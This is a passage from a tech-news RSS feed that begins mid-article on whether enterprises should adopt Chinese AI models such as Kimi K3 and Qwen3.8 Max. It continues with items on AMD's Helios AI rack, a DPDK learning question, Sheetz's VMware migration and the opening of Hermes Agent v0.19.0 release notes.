<p class="wp-block-paragraph">But now that the latest Chinese AI offerings, Alibaba’s 2.4-trillion-parameter model <a href="https://x.com/Alibaba_Qwen/status/2078759124914098291" target="_blank" rel="noreferrer noopener">Qwen3.8 Max</a> and Moonshot’s 2.8-trillion-parameter model <a href="https://www.kimi.com/blog/kimi-k3" target="_blank" rel="noreferrer noopener">Kimi K3</a>, are promising even more powerful performance, those IT executives are being forced to again ask if these models are worth using, even in a limited fashion.</p>



<p class="wp-block-paragraph">Former Walmart head of risk <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, now an independent cybersecurity and risk advisor, thinks they should at least take another look. </p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but neither adopt nor reject them solely because they are Chinese,” he said. “They should be assessed like any other critical technology dependency: jurisdiction, ownership, training and software provenance, licensing, data handling, hosting, security, reliability, and the ability to independently test their behavior. Geopolitical exposure is a legitimate risk factor, but it should be incorporated into technical and supply-chain diligence rather than used as a substitute for it.”</p>



<h2 class="wp-block-heading">Choose applications with care</h2>



<p class="wp-block-paragraph">He added, “Chinese models may be especially valuable for coding, multilingual processing, high-volume document analysis, research, synthetic-data generation, and privately operated security or forensic workflows, but they should be subject to task-specific testing rather than broad benchmark claims.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, agreed that the Chinese models can work well if they are only used in carefully chosen applications. </p>



<p class="wp-block-paragraph">“Although Moonshot’s K3 still trails Claude’s Fable 5 and GPT 5.6 Sol on performance and user experience, good companies that have governance and prompt guardrails will not face the instability and improvisation of [the Chinese] models,” he said. “These models will win in usage. US frontier models are leading as the best models, but Chinese models will be sufficient for high-volume, low-drama tasks that cost less for non-critical transactions.”</p>



<p class="wp-block-paragraph">On the flipside, Bellamkonda suggested a variety of areas where enterprises should avoid Chinese AI models, including “customer-facing work without a human in the loop, regulated or sensitive data, and anything where a hallucinated answer creates legal or safety exposure. That is where the reliability gap and the political-radioactivity concern both bite, and where the closed American models still earn their premium.”</p>



<p class="wp-block-paragraph">Bellamkonda said he didn’t see the differences in data reliability, mostly involving hallucination rates, as meaningful for enterprise AI strategy decisions.</p>



<p class="wp-block-paragraph">“Every open-weight model in this class can get facts wrong or make things up. That is fixable with the right setup, so it is not a reason to avoid these models,” he said. “For high-volume tasks with clear limits, you feed the model your own trusted documents to answer from, and you keep a person checking the output. That combination is safe for production. The model on its own is not.”</p>



<h2 class="wp-block-heading">Too early for enterprises to consider</h2>



<p class="wp-block-paragraph">However, not everyone agrees that the latest Chinese models have earned their place as enterprise AI decision options. </p>



<p class="wp-block-paragraph">Cybersecurity consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, focused on Chinese technology concerns when he worked for the US Justice Department as its representative in the US law enforcement Joint Liaison Group (JLG) with China. </p>



<p class="wp-block-paragraph">“It is way too early for US enterprises to seriously consider these models,” he said. “Until proven otherwise, enterprises should assume that if they use these models, they may be granting China complete access to everything they do through the models, and potentially access to their networks and employees more broadly. At this point, any pros of using such models are strongly outweighed by the potential security, confidentiality, and reliability concerns.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO of Conifers.ai, was equally emphatic that enterprise CIOs need to steer clear of these newer Chinese models. </p>



<p class="wp-block-paragraph">“Using them inhouse? Absolutely not. You simply don’t know what is planted inside of it and you don’t know what training data is put into them,” Findling said. </p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, added that the very attractive pricing for these Chinese models may be appealing, but suggested that, despite the low cost, they’re ultimately too risky.</p>



<p class="wp-block-paragraph">“Enterprises should take these models seriously, but not romantically. Parameter count is horsepower measured in a showroom, not braking distance in the rain,” he said. “The real tests are reliability on your data, the cost of a wrong answer, and whether the model behaves predictably under pressure.”</p>



<p class="wp-block-paragraph">He noted that the benchmarks on the latest open-weights models are impressive, and very close to those of the frontier lab models, which makes the cost ”incredibly seductive, especially when a team does not want to risk their data being used to train those frontier models.”</p>



<p class="wp-block-paragraph">But the Chinese models can still work in specific circumstances. “The strongest value will be in bounded, reversible and inspectable work: coding inside a sandbox, multilingual translation, document triage, data extraction and other high-volume tasks where outputs can be verified,” he said. “Cheap intelligence is valuable, but only when it is not mistaken for trustworthy judgment.”</p>



<p class="wp-block-paragraph">Wilkes added that the regulatory issues surrounding Chinese models can be especially problematic. Texas, for example, has <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">banned their usage</a>.  </p>



<h2 class="wp-block-heading">A rational choice for some workloads</h2>



<p class="wp-block-paragraph">However, <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, argued that CIOs should seriously consider these models. </p>



<p class="wp-block-paragraph">“Counterintuitively, the biggest benefit of Kimi and models like it is the lack of guardrails,” Goryunov said. “Think of it as stick shift cars in the era of automatics. If you want ease and comfort, stay with the frontiers because they have cruise control, shift the gears for you and they decide when. If you want performance and control, expand your horizons. But a stick shift assumes you know how to drive one: you bring your own governance, your own evals, your own safety layer. That’s a cost and specialized talent, which is super rare, and for the right organization it’s also the whole point.”</p>



<p class="wp-block-paragraph">Goryunov’s bottom line: “For internal, high-volume, well-harnessed workloads, [the Chinese models] have moved from ‘watch list’ to ‘rational choice.’”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked]]></title>
<description><![CDATA[A reproducible 100-step LoRA fine-tuning run for OpenVLA, with dataset checks, Colab setup, training metrics, and W&B evidence.
The post I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3684124/ai-nachrichten/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684124/ai-nachrichten/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/</guid>
<pubDate>Tue, 21 Jul 2026 17:04:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A reproducible 100-step LoRA fine-tuning run for OpenVLA, with dataset checks, Colab setup, training metrics, and W&amp;B evidence.</p>
<p>The post <a href="https://towardsdatascience.com/i-tried-fine-tuning-a-robot-ai-model-on-colab-here-is-what-worked/">I Tried Fine-Tuning a Robot AI Model on Colab. Here Is What Worked</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[We Found the Best AirPods 4 Deals So You Don’t Have to Pay Full Price]]></title>
<description><![CDATA[We tracked down the lowest prices so you can upgrade your setup for as little as $99.]]></description>
<link>https://tsecurity.de/de/3683558/it-nachrichten/we-found-the-best-airpods-4-deals-so-you-dont-have-to-pay-full-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683558/it-nachrichten/we-found-the-best-airpods-4-deals-so-you-dont-have-to-pay-full-price/</guid>
<pubDate>Tue, 21 Jul 2026 13:34:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We tracked down the lowest prices so you can upgrade your setup for as little as $99.]]></content:encoded>
</item>
<item>
<title><![CDATA[Helios marks AMD’s biggest AI infrastructure push yet]]></title>
<description><![CDATA[AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.

...]]></description>
<link>https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</guid>
<pubDate>Tue, 21 Jul 2026 13:21:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.</p>



<p class="wp-block-paragraph">“Helios is AMD’s first complete AI rack system with GPUs, CPUs, and networking built together, instead of selling separate chips. It is well suited for training large AI models, memory heavy models, long context processing and high volume inference, and AMD’s biggest shot yet at challenging Nvidia’s dominance,” said Pareekh Jain, CEO at EIIRTrend &amp; Pareekh Consulting.</p>



<p class="wp-block-paragraph">AMD has also secured an early hyperscale deployment for Helios with <a href="https://newsroom.amd.com/news/microsoft-azure-ai-infrastructure/" target="_blank" rel="noreferrer noopener">Microsoft</a> agreeing to deploy it to power its frontier model AI inference, its AI customers, and support Azure AI services.</p>



<h2 class="wp-block-heading">The architecture behind Helios</h2>



<p class="wp-block-paragraph">The launch of Helios marks AMD’s latest attempt to strengthen its position in a market where Nvidia continues to dominate AI infrastructure. Unlike previous AMD AI offerings centred on individual accelerators, Helios is designed as a complete rack-scale system integrating compute, networking and software.</p>



<p class="wp-block-paragraph">According to Jain, Helios goes up against Nvidia’s <a href="https://www.networkworld.com/article/4188058/nvidia-unveils-vera-rubin-platform-targeting-ai-hpc-infrastructure-customers.html?utm=hybrid_search">Vera Rubin</a> rack. “Nvidia is faster on raw inference speed and has a faster internal connection between chips whereas AMD wins on memory size and offers better value for the price and power used. It’s standout feature is memory, where each rack packs about 50% more total memory than Nvidia’s competing system, which helps run very large AI models. It also uses open, industry-standard connections instead of Nvidia’s private technology, giving buyers more flexibility,” he said.</p>



<p class="wp-block-paragraph">The AMD Helios rackscale design includes 72 AMD Instinct MI455X GPUs with AMD EPYC Venice CPUs and AMD Pensando Vulcano networking using UALink, optimized for compute, data movement, and system efficiency. The platform also supports both OCP and MX data types, delivering up to 2.9 EFLOPS of FP4 and 1.4 EFLOPS of FP8 compute for AI training and inference. </p>



<p class="wp-block-paragraph">It also integrates 31TB of HBM4 memory with 19.6TB/s of memory bandwidth, while a liquid-cooling design uses quick-disconnect connections to efficiently dissipate heat. It is designed on open standards including OCP Open Rack Wide (ORW), <a href="https://www.networkworld.com/article/4155357/new-v2-ualink-specification-aims-to-catch-up-to-nvlink.html?utm=hybrid_search">Ultra Accelerator Link (UALink)</a>, and <a href="https://www.networkworld.com/article/4006285/ultra-ethernet-consortium-publishes-1-0-specification-readies-ethernet-for-hpc-ai.html?utm=hybrid_search">Ultra Ethernet Consortium (UEC)</a> and can be scaled efficiently across datacenters while optimizing power, cooling, and serviceability for modern AI infrastructure, <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">said</a> the company.</p>



<p class="wp-block-paragraph">On the security front, Helios incorporates a hardware root of trust and continuous attestation at every layer. It supports hardware-enforced isolation, encrypted memory and interconnects to help protect AI models, data and workloads in multi-tenant environments.</p>



<h2 class="wp-block-heading">The software challenge</h2>



<p class="wp-block-paragraph">While the launch of Helios might help AMD close the hardware gap with Nvidia’s rack-scale systems, it will be the software compatibility that will be the real driver of enterprise adoption.</p>



<p class="wp-block-paragraph">For this, AMD is expanding its ROCm AI software platform too, which supports frameworks including PyTorch, TensorFlow, and JAX, for enabling high-throughput inference and efficient distributed training while preserving familiar developer workflows.</p>



<p class="wp-block-paragraph">Jain stated While hardware parity or superiority in memory bandwidth is achievable, software maturity remains the key differentiator for Nvidia. The Nvidia’s <a href="https://www.networkworld.com/article/4079693/quantum-circuits-brings-dual-rail-qubits-to-nvidias-cuda-q-development-platform.html?utm=hybrid_search">CUDA</a> software has a 15-20 year head start, and almost every AI tool, tutorial, and codebase defaults to it.</p>



<p class="wp-block-paragraph">He added software has been AMD’s weak spot. AMD has improved  ROCm a lot but it still lags behind on the newest, most specialized optimizations, and setup is more complicated. For everyday AI work, ROCm is usable but for cutting-edge performance, CUDA still leads.</p>



<h2 class="wp-block-heading">Evaluating the trade-offs</h2>



<p class="wp-block-paragraph">For CIOs evaluating AI infrastructure, Helios launch brings in another option to a market that has largely revolved around Nvidia’s dominance. But when considering Helios, CIOs will have to evaluate factors such as performance, software readiness, deployment models, procurement timelines and total cost of ownership before committing to a platform.</p>



<p class="wp-block-paragraph">While AMD has not publicly announced a specific price tag for the Helios, Jain believes it to be noticeably cheaper to buy and run with lower chip prices and lower power use per GPU.</p>



<p class="wp-block-paragraph">“It gives companies a real second option besides Nvidia, easing supply shortages and giving leverage in negotiations. The catch is software, where teams need to check whether their AI tools run well on AMD’s stack, since some advanced tools are still CUDA only,” Jain said. </p>



<p class="wp-block-paragraph">For CIOs planning to deploy both, Jain warns the two systems can’t be plugged together into one combined machine as they use different, incompatible connection technology. But companies can and do run both side by side in the same data center, just as separate systems handling different jobs.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Looking for guidance on moving my low-latency C++ project from AF_PACKET to real DPDK kernel bypass]]></title>
<description><![CDATA[Hi everyone, I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience. GitHub: https://github.com/Shivfun99/Pulse-Order...]]></description>
<link>https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682517/linux-tipps/looking-for-guidance-on-moving-my-low-latency-c-project-from-afpacket-to-real-dpdk-kernel-bypass/</guid>
<pubDate>Tue, 21 Jul 2026 03:56:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi everyone,</p> <p>I've been building a low-latency C++20 trading engine as a learning project over the past few months, and I'm now planning the next major version. I'd appreciate some guidance from people with DPDK or low-latency networking experience.</p> <p><strong>GitHub:</strong><br> <a href="https://github.com/Shivfun99/Pulse-Order">https://github.com/Shivfun99/Pulse-Order</a></p> <p>past posts:</p> <p><a href="https://www.reddit.com/r/quantindia/s/u45s60B33Q">https://www.reddit.com/r/quantindia/s/u45s60B33Q</a></p> <p><a href="https://www.reddit.com/r/quant/s/IHKVkv0UGv">https://www.reddit.com/r/quant/s/IHKVkv0UGv</a></p> <h1>Current Version (V1)</h1> <p>The project currently includes:</p> <ul> <li>Binary market data parsing</li> <li>Level 2 order book</li> <li>Strategy + risk checks</li> <li>DPDK-based packet processing experiments</li> <li>AF_PACKET backend for packet RX/TX</li> <li>Cache-friendly C++20 implementation</li> <li>Lock-free queues</li> <li>Application-side latency benchmarking</li> <li>Scenario testing and benchmarking framework</li> </ul> <p>Current latency (application-side RX → TX enqueue) is in the sub-microsecond range under the benchmark setup, but I understand this is <strong>not true wire-to-wire latency</strong> since it doesn't involve a physical DPDK-supported NIC.</p> <h1>What I want to build in V2</h1> <p>I want to move to a <strong>real DPDK kernel-bypass architecture</strong> using a physical NIC instead of AF_PACKET.</p> <p>My goals are:</p> <ul> <li>Real kernel bypass using DPDK</li> <li>VFIO-bound NIC</li> <li>Poll Mode Driver (PMD)</li> <li>Physical RX/TX queues</li> <li>End-to-end latency measurement</li> <li>Hardware timestamping (later)</li> <li>Multi-queue support</li> <li>Real market-data replay</li> <li>Accurate p99/p99.9 latency analysis</li> </ul> <h1>My situation</h1> <p>At the moment I only have an <strong>ASUS TUF Gaming A15</strong> laptop running Ubuntu. I don't have a desktop or server.</p> <p>From what I've read, it seems server NICs like the Intel X520/X710/I350 require PCIe, which laptops generally don't provide.</p> <h1>My questions</h1> <ol> <li>Is there any practical way to use a real DPDK-supported NIC with only this laptop?</li> <li>Would you recommend moving to a desktop before attempting real kernel bypass?</li> <li>What hardware would you buy if you were starting today on a limited budget?</li> <li>Are there any good open-source examples that demonstrate a complete RX → processing → TX pipeline with DPDK?</li> <li>If you were designing the next version of this project, what features would you prioritize?</li> </ol> <p>I'm building this primarily to learn low-latency systems and HFT infrastructure, so I'd really appreciate any advice, recommended hardware, papers, repositories, or common mistakes to avoid.</p> <p>Thanks!</p> <p><a href="https://www.reddit.com/submit/?source_id=t3_1v1qm0s&amp;composer_entry=crosspost_prompt"></a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Federal_Tackle3053"> /u/Federal_Tackle3053 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v1qov1/looking_for_guidance_on_moving_my_lowlatency_c/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v1qov1/looking_for_guidance_on_moving_my_lowlatency_c/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sheetz replaces VMware at more than 830 stores]]></title>
<description><![CDATA[Convenience store and gas station chain Sheetz announced it is replacing VMware across its network of more than 830 retail locations with StorMagic’s SvHCI hyperconverged infrastructure platform, marking one of the larger publicly announced migrations away from VMware.



The rollout is already w...]]></description>
<link>https://tsecurity.de/de/3681972/it-security-nachrichten/sheetz-replaces-vmware-at-more-than-830-stores/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681972/it-security-nachrichten/sheetz-replaces-vmware-at-more-than-830-stores/</guid>
<pubDate>Mon, 20 Jul 2026 20:52:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Convenience store and gas station chain <a href="https://www.sheetz.com/">Sheetz</a> announced it is replacing VMware across its network of more than 830 retail locations with StorMagic’s SvHCI hyperconverged infrastructure platform, marking one of the <a href="https://www.networkworld.com/article/4133925/some-enterprises-are-dropping-vmware-just-not-all-at-once.html">larger publicly</a> announced <a href="https://www.networkworld.com/article/3846918/5-alternatives-to-vmware-vsphere-virtualization-platform.html">migrations away</a> from VMware.</p>



<p class="wp-block-paragraph">The rollout is already well underway. According to StorMagic, Sheetz has completed migrations at more than 600 stores and is averaging roughly 200 store conversions per month. At that rate, the company is on track to finish the project in about four months.</p>



<p class="wp-block-paragraph">The migration is being carried out entirely remotely, eliminating the need for hardware upgrades or on-site IT visits. This lets the chain continue using its existing Dell PowerEdge R440 and R450 servers.</p>



<p class="wp-block-paragraph">The two companies have a relationship dating back to 2020, when <a href="https://www.gartner.com/reviews/product/svsan-6">Sheetz first deployed StorMagic’s SvSAN</a> software as the hyperconverged storage layer with VMware across hundreds of store locations to virtualize critical in-store application. The setup supported mission-critical applications such as payment processing, loyalty programs, kitchen management and store operations.</p>



<p class="wp-block-paragraph">The new deployment replaces VMware entirely with StorMagic’s integrated SvHCI virtualization stack, simplifying infrastructure while reducing software complexity and operating costs.</p>



<p class="wp-block-paragraph">By employing existing hardware and managing migrations remotely, Sheetz expects to minimize disruption while standardizing virtualization across its nationwide footprint. StorMagic said the completed platform will provide a highly available infrastructure for business-critical in-store applications while extending the useful life of existing server hardware.</p>



<p class="wp-block-paragraph">“Our initial rollout proved StorMagic could deliver the resilience and centralized management needed across a large, distributed retail environment,” said <a href="https://www.linkedin.com/in/gary-sliver-5903431/">Gary Sliver,</a> director of platform engineering at Sheetz in a <a href="https://stormagic.com/company/news/sheetz-chooses-stormagic-svhci-to-replace-vmware-across-830-retail-stores/">statement</a>.</p>



<p class="wp-block-paragraph">“StorMagic worked to understand our needs and requirements, to include a 24/7/365 operating environment, and ultimately delivered a product and plan that is allowing us to migrate hundreds of locations from VMware quickly and with minimal downtime, without requiring hardware replacements or having to send technicians to every site. This project is proof that large-scale edge migrations don’t have to be disruptive, drawn-out or scary affairs.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
